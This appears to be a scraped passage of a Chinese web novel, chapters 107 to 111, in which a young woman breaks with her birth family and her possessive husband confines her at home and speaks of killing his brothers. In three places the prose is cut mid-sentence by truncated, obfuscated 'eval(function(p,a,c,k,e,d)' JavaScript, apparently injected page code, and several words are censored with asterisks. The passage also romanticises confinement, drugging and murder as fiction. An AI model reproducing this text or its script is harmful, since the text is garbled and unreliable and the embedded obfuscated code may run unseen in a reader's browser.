“好像只有五分钟就到孟家庄园了呢。” 她笑容乖乖巧巧的,像个好孩子。 “时少爷现在就算想做什么……也做不了了呢。” “不然……” 她故意拖长了尾音。 “就要变成传说中的‘五分男’了哦。” 时卿舟看着她这副嚣张的模样,气笑了。 他慢慢倾身,硬是将孟昭月逼到了车门角落里。 强大的压迫感瞬间笼罩了孟昭月。 “五分男?” 他在她耳边低语,声音危险至极。 “时太太……” 他的手顺着她的腰线慢慢上移。 “只要我一句话,姜玦就可以把车开回去,再绕个把小时。” “或者……” “直接找个没人的地方停下来。” “到时候……” “时太太觉得,还是五分了吗?” 孟昭月脸上的笑容僵住了。 她一溜地从他身下钻出去,躲得老远。 迅速切换成了乖宝宝模式。 端端正正地坐好,双手放在膝盖上,目视前方。 一脸严肃认真。 “那个……我觉得好孩子不能让长辈久等。” “我们要懂礼貌,守时是美德。” “我不皮了,真的。” 时卿舟盯着孟昭月看了一会。 一把将她捞进怀里,把脸埋在她的颈窝,猛地吸了一口。 全是她的味道。 香的。 让人上瘾。 “小没良心的。” 他在她脖子上蹭了蹭,声音有些咬牙切齿。 “你就攒劲地折磨你老公吧。” “等晚上回家后打你屁屁。” 孟昭月大惊失色,杏眼瞪圆了看着他。 “??!!” ...... 孟家庄园。 这里典雅贵气,透着一股所谓的“书香门第”的清贵之气。 但这股清贵之下,是虚伪和冷漠的腐朽。 孟昭月挽着时卿舟的手臂,走进了客厅。 客厅里,孟崇山和江慧正端坐在主位上。 孟廷凛坐在侧边的单人沙发上。 孟婉凝则不在。 气氛有些凝重。 看到两人进来,三人的目光齐刷刷地投了过来。 没有欢迎,只有审视和不满。 尤其是孟廷凛。 他看着孟昭月,那双狭长的凤眼里,多了几分明显的失望和冷意。 显然,他已经完全相信了孟婉凝的那套说辞。 在他看来,孟昭月虽然以前有些小性子,但本质不坏。 可现在,竟然学会了这种下三滥的手段去陷害自己的姐姐。 一定是时家人把她带坏了。 他的目光转向时卿舟,眼神冷了几分。 时卿舟自然察觉到了孟廷凛的视线。 他并没有放在心上。 只是淡淡地扫了孟廷凛一眼,嘴角依旧挂着那副温和得体的笑容。 他在意的,只有身边的女孩。 “父亲,母亲,小叔。” 孟昭月乖巧地叫人,礼数周全。 孟崇山只是冷淡地点了点头,连句“坐”都没说。 江慧放下了茶杯,目光挑剔地在孟昭月身上扫了一圈。 虽然今天这身打扮挑不出什么错处,但她总能找到攻击的点。 “昭月啊,是出息了的,还会和不干不净的人私奔了。” 第108章 和孟家** 孟昭月:“……” 私奔? 这都什么年代了? 这个词放到现在,真的很小众诶。 她眨了眨眼,一脸无辜地看着江慧。 “母亲,您是不是误会了什么呀?” “我和阿卿已经领证了呀。” “那可是国家认可的红本本哦。” 江慧被她的话噎了一下,脸色有些难看。 “领证?没有父母之命,媒妁之言,那算什么正经结婚?” 她冷哼一声。 “也就是骗骗你们这些无知的小姑娘罢了。” 时卿舟闻言,神情没有丝毫变化。 他只是伸出手,将孟昭月那只微凉的小手握在掌心里,然后放进自己的大衣口袋里,轻轻地给她捂着。 动作温柔而自然,完全无视了江慧的指责。 江慧看着这一幕,心里的火气更大了。 她深吸了一口气,压下怒火,继续用那种高高在上的语气教训道: “昭月,你应该多学学你姐姐婉凝。” “看看人家,多么冰清玉洁,多么知书达理。” “从来不会做出这种让家族蒙羞的事情。” “哪像你……” “呵。” 一声轻笑,突兀地打断了江慧的话。 是时卿舟。 他并没有看江慧,只是低着头,专心地给孟昭月捂着手。 那声笑,短促而轻蔑。 带着毫不掩饰的嘲讽。 冰清玉洁? 孟婉凝? 这大概是他这辈子听过的最好笑的笑话了。 江慧的脸色瞬间变得铁青。 她死死地盯着时卿舟,手指紧紧地扣着茶杯的把手,指节泛白。 这个私生子! 竟然敢嘲笑她?! “时先生。” 她维持着最后的体面,声音却冷得掉渣。 “这就是时家的教养吗?” “长辈说话,晚辈随意插嘴,还发出这种不礼貌的声音。” “果然是……” 她顿了顿,语调依旧优雅,却眼神不善。 “果然是出身决定了素质。” “有些东西,是刻在骨子里的,怎么洗都洗不掉。” 言下之意,私生子就是没教养,**。 孟昭月原本还想好聚好散。 但听到这句话,她心里的火气“蹭”的一下就冒了上来。 说她可以。 说阿卿,不行! 她猛地把手从时卿舟的口袋里抽了出来。 时卿舟看着口袋里一空,愣了愣。 老婆那香香软软的小手没了。 时卿舟有些不愉快地抬眉看向始作俑者江慧。 孟昭月坐直了身体。 那双平日里总是盛满乖巧笑意的杏眼,此刻却像是一潭静水。 直直地看向坐在主位上的孟崇山和江慧。 她开口,语气平淡: “母亲,您说得对。” “出身确实决定了很多东西。” 江慧愣了愣。 孟昭月继续道: “比如,有些人生在罗马,却活得像个只会用鼻孔看人的小丑。” “而有些人,哪怕是在泥潭里挣扎,也依然能开出花来。” 还真是神了。 非要让她给他们灌灌鸡汤,这两长辈才舍得消停? “这就是你跟长辈说话的态度?!”孟崇山猛地一拍桌子,震得茶具叮当乱响,脸色铁青。 孟廷凛坐在侧边,眉头紧锁。 孟昭月没理孟崇山,只是继续说出了今天来的目的: “我今天来,不是来听你们说教的。” “也不是来受气的。” “我只是来通知你们一声。” “那就是……” 她看着他们,一字一句地说道。 “我要和孟家,彻底**。” 此话一出全场安静了。 孟昭月恢复了往日乖巧的笑容。 “母亲……哦不,江女士、孟先生。” “您们从未抚养过我,也不存在拟制血亲的情况。” “我对我的婚姻,对我的丈夫,非常满意。” “劳烦您们别再来骚扰我了。” “毕竟……” 她轻笑一声。 “我连户口都不在孟家,跟你们,又有什么关系呢?” 时卿舟自始至终都没有说话,他只是坐在孟昭月身边。 目光静静扫视过在场的每一个人。 安静地陪着自己的妻子走完这场人间闹剧。 孟崇山夫妇看着孟昭月,眼神里充满了错愕、震惊。 还有一种深深的被冒犯感。 在他们看来,孟昭月不过是个从外面找回来的野丫头。 虽然有着孟家的血脉,但骨子里却透着一股让他们瞧不上的“穷酸气”。 孟家愿意接纳她,愿意教导她,那是对她的恩赐。 如今这野丫头居然敢不乖乖接受他们的恩赐? 孟昭月说完看了眼时卿舟,时卿舟伸手重新握住了她的手。 两人正准备离开。 就在这时,一道温婉声音从门口传来。 “妹妹,且慢。” 孟婉凝姿态优雅地走了进来。 她的脸上挂着得体的微笑。 仿佛昨夜的狼狈从未发生过。 “就算你不认孟家,那抚养了你二十年的养父母,总有资格教育你两句吧?” 随着她的话音落下,两个身影局促不安地从门外走了进来。 正是赵文涛和林秀兰。 他们穿着为了这次见面特意买的新衣服。 却依然显得有些拘谨,手脚都不知道该往哪里放。 孟昭月愣住了。 她的养父母? 怎么会和孟婉凝在一起? 赵文涛和林秀兰看到女儿,眼神闪烁,低下头,不敢与她对视。 孟婉凝走到孟崇山和江慧身边,乖巧地叫了声“爸、妈”。 然后转过身,对着赵文涛夫妇做了一个“请”的手势。 “既然来了,就坐下慢慢说吧。” 孟崇山只是淡淡地瞥了他们一眼。 他微微颔首,算是同意了。 带着施舍的意味。 赵文涛夫妇战战兢兢地在沙发边缘坐下,只敢坐半个屁股。 林秀兰双手绞在一起:“月月啊……” “你弟弟还要上学,我们还有自己的生活,也没精力再操心你的事了。” 她不敢看孟昭月的眼睛。 赵文涛也在一旁附和着,声音低沉:“是啊,月月。” “你就当……就当是为了我们,别再任性了,好好在孟家待着吧。” 他们已经放弃了她,选择了那个更有“价值”的儿子。 选择,放弃。 似曾相识。 孟昭月静静地听着,微微歪了歪头,然后看向孟婉凝。 孟婉凝回看她,一如既往地端庄、优雅。 看啊,孟昭月,这就是你所谓的“家人”。 在利益和威胁面前,他们毫不犹豫地选择了抛弃你。 你还有什么? 你什么都没有了。 孟昭月心中了然。 她就说,为什么情亲、友情一夜之间都送到了她的手上。 原来是孟婉凝搞的鬼啊。 只是…… 她不明白为什么孟婉凝要这么做? 她该不会觉得,自己得到了这些虚假脆弱“爱意”后再失去,会因此大受打击? 可是她不会呀。 她有更深更浓的爱,与最坚定的选择。 她怎么还会在意这些劣质的爱的有无呢? 孟昭月的目光落到了时卿舟身上,对方那双桃花眼也回望她。 温柔的、爱意的、坚定的。 孟昭月也许是缺爱脆弱的,但时卿舟用爱灌满了她。 自此她,不再害怕。 孟昭月对着时卿舟,露出了一个甜甜的笑容。 时卿舟看着女孩的笑容,微微勾唇。 很好。 她没有难过。 她不需要那些垃圾。 她只需要他。 但这并不代表,这件事就这样了。 他的月月当然可以交朋友、当然可以有个“和和美美”的“幸福家庭模板”。 但前提是,这一切,都必须是由他亲手筛选、亲手赋予的。 比如苏晓,再比如…… 时卿舟微微抬眼,扫向了坐在对面的赵文涛和林秀兰。 赵文涛和林秀兰被这眼神一扫。 林秀兰猛地抬起头: “孟小姐!” “你还要逼我们到什么时候?!” 这突如其来的一嗓子,让在场的所有人都愣住了。 孟婉凝脸上的笑容瞬间僵住,眼中闪过一丝错愕和慌乱。 “林阿姨,你……你在说什么?” “我说什么你自己心里清楚!” “你拿我们儿子的前途威胁我们!” “教我们说那些丧良心的话!” “你还说,如果我们不照做,就让我们在京江市待不下去!” 她越说越激动,眼泪哗哗地往下流。 “月月啊!妈对不起你啊!“ “妈刚才说的那些都是屁话!” “都是那个女人逼我说的啊!” “妈妈养了二十年啊!妈怎么可能不要你?” 赵文涛也站了起来,指着孟崇山夫妇: “用这种下三滥的手段来对付我们这些平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“以后,我不会再来孟家了。” “我跟孟家,没有任何关系了。” …… 庄园门口,寒风凛冽。 赵文涛和林秀兰拉着孟昭月的手,久久不愿松开。 “月月啊,刚才……刚才没吓着你吧?” 林秀兰擦着眼泪,一脸愧疚。 “爸妈也是没办法,那个女人太坏了,我们怕她伤害你弟弟……” 孟昭月乖乖巧巧地站着:“没事的。” 她看了一眼身边的时卿舟。 林秀兰顺着孟昭月的目光看去。 注意到男人看过来的眼神,林秀兰顿了顿,连忙道: “小舟是个好孩子,有本事,又护着你。” 赵文涛也连连点点:“月月,小舟这样的男人,打着灯笼都难找。” “你们俩好好的,千万别闹别扭,别分开。” 临走了,夫妇俩还是不放心地又嘱托了一句:“千万别分开啊。” 孟昭月:“……” 她又看了一眼时卿舟。 时卿舟回看她,笑得一如既往的温柔。 …… 送走了养父母,孟昭月和时卿舟正准备上车。 “昭月!” 是孟廷凛追了出来。 孟昭月想起上次离开孟家时,也是这样的场景。 她的这个小叔追了出来。 然后来道歉。 而现在…… 孟廷凛来到他们面前,停下脚步。 他看着孟昭月,眼神复杂到了极点。 “昭月,我……” 他觉得自己该说点什么。 但是一看到牵着手的两人…… 烦躁的情绪重新充斥了他。 对,婉凝,还有婉凝。 他的脸色冷了下来,恢复了往日的严厉。 “孟昭月。” 他质问道。 “婉凝的事,是不是你指示时卿舟做的?” “给婉凝下药,害她……受辱。” “是不是你?” 虽然孟婉凝在养父母这件事上撒了谎,做了错事。 但这并不代表她在其他事情上也撒了谎。 那天晚上的事,太过恶劣,太过残忍。 如果真的是昭月做的…… 孟昭月:“……?” 而时卿舟看着孟廷凛,脸上露出了一个玩味的笑容。 第109章 小叔火葬场 “下药”、“受辱”。 这两个词在她的脑海里转来转去。 意思是……孟婉凝被人下药,然后被人那啥啥了? 说来很巧,她也被下药了,只是还好遇到的是时卿舟。 孟昭月突然想起在酒店遇到的孟婉凝和那个**男。 所以……把孟婉凝那啥啥了的是……**男? 如果联系起来那个**男认识自己,而且对阿卿十分愤怒,自己还**淮安下药了。 那么…… 所以一开始那个**男盯上的是自己? 但是不知道为什么变成了孟婉凝? 怎么总觉得…… 背后有一只手,在控制着一切事态的走向。 孟昭月下意识地看向了身旁的时卿舟。 时卿舟依旧是那副温润如玉的模样。 他单手插在大衣口袋里。 另一只手自然地揽着她的腰,将她往自己怀里带了带。 “孟总这话说得,可真是有趣。” 时卿舟终于开口了。 他的声音在凛冽的寒风中,格外的温和悦耳。 “既然孟总如此笃定,想必是掌握了确凿的证据?” “是找到了通话录音?还是……抓到了实施下药的人,并且拿到了他指认月月的口供?” 他没有正面回答孟廷凛的问题,既不承认,也不否认。 而是轻飘飘地将问题抛了回去。 孟廷凛被他这一连串的反问逼得一滞。 证据? 他哪里有什么证据。 一切都发生得太突然,孟婉凝哭得那么凄惨,又说得那么言之凿凿…… 他下意识地回答:“婉凝她亲口说的……” “哦——” 时卿舟拖长了尾音,脸上的笑意更深了。 “原来只是‘亲口说的’。” 他轻笑一声,眼神里满是嘲弄。 “也就是说,孟总仅仅凭借孟婉凝的一面之词。” “连最基本的求证都没有做,就直接跑来这里,给月月定罪了?” 孟廷凛张了张嘴,想要反驳,却发现自己根本无话可说。 本来他只是想来问清楚的。 但是不知道为什么,看到孟昭月和时卿舟亲密地站在一起。 出口的话就变成了质问。 时卿舟没有给他喘息的机会。 他低下头,看着怀里的孟昭月,眼神瞬间变得温柔缱绻。 “月月,你看。” 他的手指轻轻摩挲着她的脸颊,语气里带着几分无奈和怜惜。 像是在教导一个不谙世事的孩子看清世界的残酷。 “这就是你所谓的小叔。” “在他心里,你永远都是那个会耍心机、会害人的坏孩子。” “哪怕你什么都没做。” “他甚至连问都不问你一句。” “孟婉凝的一句话,比你重要得多。” 他温和的声音混杂在风雪声中,温和悦耳,却也…… 像是恶魔的诱骗。 “他从来没有坚定地选择过你。” “一次都没有。” “不像我。” 他收紧了揽着她腰肢的手臂。 “无论发生什么,无论别人怎么说,我都会无条件地站在你这边。” “因为我知道,我的月月是世界上最乖、最善良的好孩子。” 孟昭月:“……” 这家伙还真是不放过一点拉踩的机会啊。 不过阿卿说得对。 孟廷凛似乎没有一次向着自己的。 孟昭月乖巧地看着眼前这个男人。 这就是她的小叔。 如果这个世界是本小说,孟廷凛是男主的话……感觉读者能被他给气死。 孟廷凛听着时卿舟那番话,脸色越来越沉。 他不是傻子,自然听得出时卿舟话里那明晃晃地挑拨离间。 这个男人,正在用一种最温柔的方式。 将孟昭月从他身边,从孟家,彻底地剥离开来。 然后将她完全地、彻底地占为己有。 “时卿舟,你闭嘴!” 孟廷凛低吼道,声音里是压抑不住的怒火。 “昭月,你别听他胡说!我不是那个意思!” 孟昭月轻轻地笑了一声。 那笑容很甜,却不达眼底。 “孟先生。” 她开口,称呼生疏而冷漠。 “我没有做过。” 她的声音软软糯糯的,却透着一股决绝的冷意。 “还有,如果您非要指认我和阿卿,请您拿出证据来。” “没有证据就没救不要随便污蔑人哦。” 孟廷凛愣住了。 “昭月,我真的不是那个意思……” “没事的,孟先生。” 孟昭月打断了他。 “是不是你那个意思,都已经不重要了。” “因为……” 她歪了歪头。 “再次强调。” “我真的很讨厌你。” “所以,请你以后不要再出现在我面前了。” “我不想再看到你。” 讨厌。 不想再看到。 孟廷凛感觉自己被这些字,一字一字地锤在心头。 一种前所未有的恐慌瞬间席卷了他的全身。 他感觉有什么重要的东西,正在从他的生命中彻底流逝。 再也抓不住了。 “昭月!你在说什么胡话!” “我……我不是……” 他语无伦次地想要解释。 下意识地伸出手,一把抓住了孟昭月的手臂。 “我只是……我只是关心你!” “时卿舟他就是个疯子!他会毁了你的!” “跟我回去!现在就跟我回去!” 他的声音颤抖,眼神里充满了焦急和恐惧。 **自己为什么会这样。 他只知道,他不能放手,不能失去她。 绝对不能。 这种感觉来得莫名其妙,却又如此强烈。 就像是……他曾经已经失去过她一次一样。 孟昭月被他抓得有些疼。 她微微蹙起了眉. 然后,用力的,一点一点地,将自己的胳膊从他的掌心里抽了出来。 动作不大,却决绝得没有一丝留恋。 “孟先生,我不跟你回去,我该走了。” 她对他礼貌地点了点头,脸上依旧那副乖巧甜美的笑容。 疏离而淡漠。 孟廷凛看着她漂亮的杏眼。 心口像是破了一个洞,寒风不断地往里灌。 昭月…… 孟昭月说完直接转身就离开了。 孟廷凛伸出手,想要去追。 身体却僵在原地,动弹不得。 他只能眼睁睁地看着那个纤细的背影,离他越来越远,最终消失在风雪里。 “看来,我的妻子,不太喜欢孟总呢。” 时卿舟的声音在他身边响起。 他没有立刻离开,而是看着眼前失魂落魄的男人。 然后脸上的笑意慢慢收敛,那双漂亮的桃花眼里,是毫不掩饰的、冰冷杀意。 “月月很乖,也很坚强。” “我从来没有见过她因为什么话,露出过上次在餐厅里那样的表情。” “那种……仿佛被全世界抛弃的表情。” 孟廷凛的身体猛地一颤。 他想起来了。 上次在餐厅,他说她“矫情”,说她“渴望被爱”。 后来在公司,她又当着他的面,一字一句地重申,“我不矫情”。 原来……她一直都在意。 时卿舟的声音低沉,每一个字都像是从牙缝里挤出来的。 “我当时看到她那个样子,心疼得快要**。” “所以……” 他凑近了一些,用只有两个人能听到的音量,一字一句地说道。 “孟廷凛,上次我说会杀了你。” “劳烦孟总记住。” “那不是气话。” 说完,他不再看孟廷凛一眼,转身,迈开长腿,追上了早已在等候他的女孩。 孟廷凛站在原地,看着两人离去的背影。 风雪更大了。 纷纷扬扬的雪花落在他身上,很快就融化成冰冷的水渍。 他伸出手,想要去抓那个背影。 却只抓到了一手虚无的空气。 “昭月……” 他喃喃自语。 孤独。 无尽的孤独将他包围。 就像是被整个世界遗弃在了这冰天雪地里。 他好像……真的把什么很重要的东西,弄丢了。 …… 车内的暖气开得很足,将窗外的风雪隔绝成另一个世界。 时卿舟上车后,直接就拉过孟昭月的手臂。 拉起她的袖子。 果然看到了几道红印。 指腹轻轻摩挲着那几道红印,眼神晦暗不明。 “疼吗?” 他低声问道,语气里满是心疼。 孟昭月乖巧地摇了摇头。 “不疼。” 时卿舟一把将孟昭月拉进了怀里。 他抱着她,下巴抵着她的发顶,感受着她真实的体温和心跳。 他沉默了片刻,才低声开口。 “难过吗?” 孟昭月正靠在他怀里,享受着这份温暖和安宁。 闻言有些不解地抬起头,眨了眨那双干净的杏眼。 “难过什么?” 时卿舟沉默地盯着她的杏眼看了好一会儿。 然后轻笑出声。 那笑声里,是如释重负,是餍足,是化不开的宠溺。 “没什么。” 他收紧手臂,将她抱得更紧了些,脸颊在她的发间亲昵地蹭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她伸出手指,气呼呼地指了指人群中的苏晓。 “你!” “对,就是你!” “你给我过来!” 苏晓听到点名,身体明显僵了一下。 她抬起头,脸上迅速切换成了专业的职业假笑。 走到孟昭月面前,恭敬地行了一礼。 “少夫人,有什么吩咐?” 孟昭月:“你到底是谁呀?” “怎么我走到哪里都能看到你?” 苏晓脸上的笑容僵了一下。 她下意识地看向站在一旁的时卿舟。 时卿舟依旧表情温和。 “少夫人问你话呢。” “如实说就行。” 苏晓顿了顿,依旧是那副专业的女仆表情。 “少夫人,您误会了。” 她一本正经地胡说八道。 “其实……我是一个热爱生活、喜欢体验不同职业的斜杠青年。” 她眨了眨眼,表情真挚极了。 “至于在这里遇到您……” “那纯属是缘分啊!” “我也没想到,昔日的老同事,竟然摇身一变成了豪门少奶奶。” “这简直太不可思议了!太让人惊喜了!” 她双手合十,做出一副惊叹的模样。 孟昭月:“……” 她看起来很笨,很好骗吗? 孟昭月一脸狐疑地瞪着她。 苏晓则一脸真诚地回望着她。 两人就这么大眼瞪小眼地对视着。 就在这时。 “噗嗤——” 一声压抑不住的轻笑从旁边传来。 孟昭月立刻转过头,气鼓鼓地瞪着那个笑出声的罪魁祸首。 “你笑什么嘛?” “她明明就是在骗人!” 时卿舟将她揽进怀里,伸手捏了捏她的脸颊。 怎么这么可爱。 他的妻子。 “好了,不逗你了。” 他收敛了笑意。 “苏晓是我的人。” 这就招了? 那她刚才费尽心思编的那一大通理由算什么? 苏晓嘴角抽了抽,但还是立刻换上了一副恭敬的表情。 孟昭月乖巧的看着时卿舟。 时卿舟神色坦然。 “因为不放心你的安全,所以一直让她跟在你身边保护你。” 苏晓见状,也对着孟昭月眨了眨眼,算是默认了。 孟昭月:“……” “我的好奇宝宝,问清楚了吗?” 时卿舟低下头,宠溺地亲了亲她的额头。 “现在乖乖月月可以去洗香香了吗?” 孟昭月:“……” 叠词词,恶心心。 第110章 风雨欲来 他一边说着,一边半推半哄地将她带向了楼梯。 在上楼前,他的目光淡淡地扫过楼下那些还躬着身的女仆。 原本还站得笔直的女仆和保镖们,立刻齐刷刷地鞠躬行礼。 动作整齐划一。 那是对绝对权力的臣服。 …… 餐厅里,烛光摇曳。 长长的餐桌上摆满了精致的菜肴。 孟昭月坐在时卿舟对面,小口小口地喝着汤。 时卿舟并没有怎么动筷子。 他单手支着下巴,那双深邃的桃花眼一瞬不瞬地盯着她。 目光专注而深沉,仿佛要将她整个人都吸进去。 孟昭月被他看得有些不好意思,放下了勺子。 “阿卿,你不吃吗?” 时卿舟摇了摇头。 “我不饿。” “看着你吃就饱了。” 孟昭月脸一红:“油嘴滑舌。” 时卿舟笑了笑,没有反驳。 他伸出手,隔着桌子,握住了她放在桌面的手。 指腹轻轻摩挲着她的手背,带来一阵酥麻的触感。 “宝宝。” 他突然开口,声音很低: “我可以……把你关起来吗?” 空气似乎静了下来。 烛火微微摇曳。 孟昭月眨了眨眼。 似乎在确认刚才听到了什么。 眼前的男人,烛光在他深邃的眼窝处投下阴影。 那双平日里总是含笑的桃花眼,此刻却像是一汪深不见底的黑潭。 静静地注视着她。 他的手握着她的手,指腹摩挲的动作很轻。 他说……关起来? 孟昭月的眸色一点、一点地亮了起来。 杏眼里晕染开明媚。 她反手握住了他的手,十指相扣。 “好啊。” 她的声音很轻,却很清晰,在安静的餐厅里回荡。 “那就把我关起来吧。” “关在一个只有你能找到的地方。” 时卿舟的瞳孔在瞬间收缩。 握着她的手猛地收紧,力道大得几乎要捏碎她的指骨。 但他很快就控制住了自己,松开了一些力道。 …… 工作只是一个电话的事情。 星瀚科技那边历来势利严苛的副总就连连称是,表示以时少夫人的需要为准。 “这段时间有些事情,月月安心待着会安全一些。” 时卿舟是这么解释的。 然后她就不被允许出别墅的大门。 时卿舟开始变得越来越忙。 真的很忙。 刚开始他几乎都是大半天都陪着她。 到后面孟昭月见到他的次数越来越少。 每天天还没亮,他就已经起床离开了。 晚上回来的时候,往往已经是深夜。 他总是带着一身疲惫和寒气,有时候还有淡淡的血腥味。 有时候甚至彻夜不归。 他不会吵醒她,只是轻轻地从身后抱住她,贪婪地汲取着她身上的温暖。 那是他的药。 孟昭月有时候会迷迷糊糊地醒过来,感觉到身后的热源,便会本能地往他怀里蹭一蹭。 “阿卿……你回来了?” 她声音含糊不清,带着浓浓的睡意。 “嗯,我回来了。” 时卿舟会亲吻她的发顶。 “睡吧,乖。” 但只要有一点点空隙,他都会赶回来陪她吃饭。 哪怕只是匆匆吃几口,哪怕只是看着她吃。 时卿舟不在的期间。 苏晓为首的女仆们会尽可能地陪着孟昭月玩乐。 比如和她一起八卦只有内部人才能掌握的,豪门中的各种狗血小道消息。 “听说江家那个嫡系,最近闹得凶得狠。” “好像现任江家家主的已经死去的哥哥,外面还有个遗孤。” “江浩宇那个草包怕是惨咯。” “少夫人,你要好好和少爷在一起啊。” “你们真的真的很般配很般配。” …… 似乎是为了弥补没时间陪伴她的亏欠。 时卿舟在物质上给予了她所能想象到的、最极致的宠爱。 说是囚禁,其实更像是被供养了起来。 衣帽间里的衣服、鞋子、包包,以一种令人咋舌的速度更新换代。 各大奢侈品牌的当季新款,只要一发布,第二天就会出现在她的衣柜里。 甚至有很多是还未上市的秀场款,或者是专门为她定制的孤品。 饮食更是精细到了极点。 各种珍稀的食材、昂贵的补品,更是流水一样地往别墅里送。 顶级白松露、阿尔玛斯鱼子酱、蓝鳍金枪鱼的大腹…… 有一天,孟昭月只是在看电视时,随口夸了一句那个女主角戴的珍珠项链挺好看。 第二天晚上,时卿舟回来时,就随手丢给她一个丝绒盒子。 里面躺着一条成色极好的珍珠项链,和电影女主角的一模一样。 “给你的。” 他一边解着领带,一边漫不经心地说。 “姜玦去佳士得拍的影视藏品。” 孟昭月捧着项链,然后抬眼乖乖看着脱下外套的男人。 “阿卿,你最近在忙什么。” 时卿舟的动作顿了顿,然后随手将外套丢到了沙发靠背上。 “工作上的事。” 他伸手将孟昭月捞进了怀里。 像是归家的倦鸟一样用力蹭了蹭。 “再等等我,再等等我,月月。” …… 日子就这样一天天过去。 外界的风云变幻,丝毫没有影响到别墅里的宁静。 这天的深夜。 外面下着是暴风雪,呜咽的狂风不断拍打着窗户。 孟昭月睡得不踏实。 半梦半醒间,感觉到床边塌陷了一块。 紧接着,一股浓重的酒气混合着淡淡的血腥味,扑面而来。 孟昭月被吵醒了。 “阿卿?” 她迷迷糊糊的,下意识地想要伸手去摸他的脸。 下一秒,她就被拥入了一个寒冷的怀抱。 时卿舟浑身湿透,头发还在滴水,身上的酒气熏人。 死死地抱着她,力道大得像是要将她勒进自己的身体里。 “宝宝,让我抱抱……就抱一会儿……” 他的声音低沉沙哑。 孟昭月感觉到了他的不对劲。 她不再动,任由他抱着。 耳边传来他的声音。 “快了……真的很快了……” 他的声音很轻,在寂静的黑夜里,听起来有些飘忽。 “他们都**。” 孟昭月的心脏漏了一拍。 她小心翼翼地问:“谁……**?” 时卿舟低低笑了一声。 “所有人。” 他一个一个地数着。 “老八……老九……十三……十四……” “今天晚上,我亲手送走了老六。” 那个总是喜欢笑着把他的头按进马桶里的好哥哥。 他的语气平淡得可怕。 “他死的时候,哭得很大声。” “求我放过他。” “说他错了,说他以后再也不敢了。” 时卿舟的身体微微颤抖起来。 不是因为恐惧,也不是因为兴奋。 而是一种深入骨髓的寒冷。 “可是……我没有任何感觉。” 他把脸贴在孟昭月的胸口,听着她有力的心跳声。 “没有报仇的快感,也没有**的恐惧。” “什么都没有。” 他的心脏在跳动。 却像个空洞,无论填进去什么,都无法填满。 空虚。 无意义的空虚。 一切都是那么的百无聊赖。 一切都是虚无的、没有意义的。 然后就是思念。 疯狂的思念。 他好想她。 看着眼前的尸体。 想念她的温暖,她身上的香味。 想念孟昭月。 “我好想你……月月……” “什么都没有意义。” “只有你是真的……” “别离开我……求你……别离开我……” “我只有你了……” 孟昭月听着他语无伦次的话,然后抱紧了时卿舟。 “我在的。”她的声音轻轻的、软软的。 却像拂过一切的暖流。 “阿卿,我在呢。” “我不会离开你,我们属于彼此,不是吗?” “月月……我的月月……” 那一夜,时卿舟就像个缺乏安全感的孩子,紧紧地抱着她,一刻也不肯松手。 直到天快亮的时候,他才在她的怀里沉沉睡去。 然而,仅仅过了两个小时。 当孟昭月再次醒来的时候,身边的位置已经空了。 床单上还残留着他的余温。 他又走了。 就像每一个清晨一样。 …… 最初只是偶尔看到寰宇集团的几家核心企业的股权变更公示。 紧接着,是频繁的高管变动。 不久之后,一则重磅新闻引爆了整个京江市。 时卿舟正式出任寰宇集团副总裁,并兼任时氏家族基金会理事长。 这意味着,他已经正式从幕后走到了台前。 成为了时家这个庞然大物实际上的掌舵人之一。 电视屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她沿着楼梯往下走,刚走到一楼大厅,就看到窗外白光闪过。 探照灯的光束在窗外不停地交错、扫射。 外面似乎很乱。 隐约还能听到急促的脚步声和压低的呵斥声。 甚至……还有几声压抑的闷哼。 孟昭月心里一紧。 出事了? 她快步走到大门前,推开了门。 冷风夹杂着雪花扑面而来,让她忍不住打了个哆嗦。 她裹紧了身上的披肩,探出头去。 只见别墅内外,十几名全副武装的黑衣人正举着枪,呈扇形散开,似乎在搜索着什么。 孟昭月下意识地招了招手:“怎么了?” 听到她的声音,离门口最近的一名武装人员立刻转过身。 他看到只穿着睡衣、披着披肩站在门口的孟昭月,脸色瞬间变了。 “少夫人!” 他收起枪,一路小跑着冲了过来。 在离孟昭月还有几步远的地方停下,恭敬地行了个礼。 山一样的男人,一脸横肉,看着就让人害怕。 “您……您怎么下来了?” 粗犷的嗓音刻意放轻了,试图挤出些不吓人的温声细语。 满是小心翼翼。 “是不是……吵到您了?” “外面冷,您快进去,别冻着了!” 这要是让少爷知道少夫**半夜的跑出来吹冷风。 他们这些人有一个算一个,都得脱层皮。 “发生什么事了?”孟昭月指了指外面那些闪烁的探照灯和忙碌的人群,“是有坏人吗?” “没……没啥大事,少夫人。” “就是有个……有个不知死活的小老鼠跑进来了。” “已经被兄弟们摁住了,正处理呢。” “您别担心,真的没事。” “您快回去休息吧,这里交给我们就好。” 他的语气小心翼翼,生怕吓到了眼前这个娇滴滴的少夫人。 小老鼠? 孟昭月眨了眨眼。 这么大阵仗,抓只老鼠? 骗鬼呢。 她没有回去,而是垫起脚尖,朝着远处看去。 远处的混乱好像已经停止了。 两个黑衣人拖着一个浑身是血的人,从树林的阴影里走了出来。 那个人看起来很年轻,身形瘦削。 身上已经被鲜血染透了。 孟昭月看着那个人,觉得有些眼熟。 好像在哪里见过。 第111章 月月记忆恢复 那人看到孟昭月立刻就挣扎起来。 “十九嫂!是我!我是二十啊!” 二十? 孟昭月眨了眨眼,立刻就回想起来了。 上次在时费的书房遇到的,给时费输血的那个,时卿舟的弟弟。 她后来听时卿舟提到过,好像叫时桧来着。 孟昭月见武装人员要把人拖走,连忙说:“抱歉,请稍等一下,先听听他要说什么。” 武装人员犹豫了一下,停了下来。 